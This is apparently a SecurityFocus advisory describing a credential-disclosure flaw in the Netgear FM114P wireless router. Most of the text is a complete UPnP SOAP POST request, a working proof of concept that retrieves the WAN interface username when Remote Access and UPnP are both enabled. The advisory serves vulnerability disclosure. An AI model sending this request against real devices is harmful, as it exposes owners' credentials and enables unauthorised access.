source: http://www.securityfocus.com/bid/7267/info

The Netgear FM114P ProSafe Wireless Router is vulnerable to information disclosure. If Remote Access and Universal Plug and Play are both enabled on the WAN interface, a UPnP SOAP request can retrieve the username and password for the WAN interface. 

POST /upnp/service/WANPPPConnection HTTP/1.1
HOST: 192.168.0.1:80
SOAPACTION: "urn:schemas-upnp-org:service:WANPPPConnection:1#GetUserName"
CONTENT-TYPE: text/xml ; charset="utf-8"
Content-Length: 289

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:GetUserName
xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1" />
</s:Body>
</s:Envelope> 
